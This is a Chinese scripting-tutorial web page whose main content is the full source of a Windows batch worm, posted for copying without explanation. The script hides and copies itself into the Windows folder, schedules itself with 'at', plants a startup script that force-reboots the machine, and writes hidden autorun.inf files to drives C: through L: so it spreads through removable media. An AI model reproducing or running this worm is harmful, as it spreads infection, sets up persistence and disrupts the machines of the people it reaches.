当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 批处理蠕虫bat

DOS/BAT
诺顿 Ghost 参数四则
巧用net命令解决XP中打印连接数问题
WinXP自动开机登陆WoW bat实现
批处理实现网吧存档
巧用批处理解决IE不支持JavaScript等问题
net命令全集
提升网络效率 宽带路由优化与使用技巧
开始→运行(cmd)命令大全
Logo1免疫补丁.bat
move命令格式及使用
nslookup来列举二级玉米
我装了IIS了,可是又进不去http://localhost 了
DOS命令详解
DOS命令常识
在 DOS 下也能访问网上邻居
如何在 Netware 服务器中安装多块网卡
DOS 概述及入门
如何进行系统配置
系统配置—获得更多常规内存
出错提示与对策

DOS/BAT 中的 批处理蠕虫bat


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 46 ::
收藏到网摘: n/a

复制代码 代码如下:

@echo off
attrib -r -h -s "%~nx0" 2>nul >nul
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul
copy "%~nx0" %windir% /y 2>nul >nul
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0"
echo reboot>%windir%\temp.dll
set pat=「开始」菜单\程序\启动
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo echo reboot^>^>%%windir%%\temp.dll>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo find /c "reboot" %%windir%%\temp.dll^|find "11">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo [autorun]>%windir%\user.dll
echo shellexecute=%~nx0>>%windir%\user.dll
set disk=C:>nul 2>nul
:auto
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul
copy %windir%\user.dll %disk%\autorun.inf /y 2>nul >nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul
:C:
set disk=D:>nul 2>nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
goto auto>nul 2>nul
:G:
set disk=H:>nul 2>nul
goto auto>nul 2>nul
:H:
set disk=I:>nul 2>nul
goto auto>nul 2>nul
:I:
set disk=J:>nul 2>nul
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
shutdown /r /t 0 /f
exit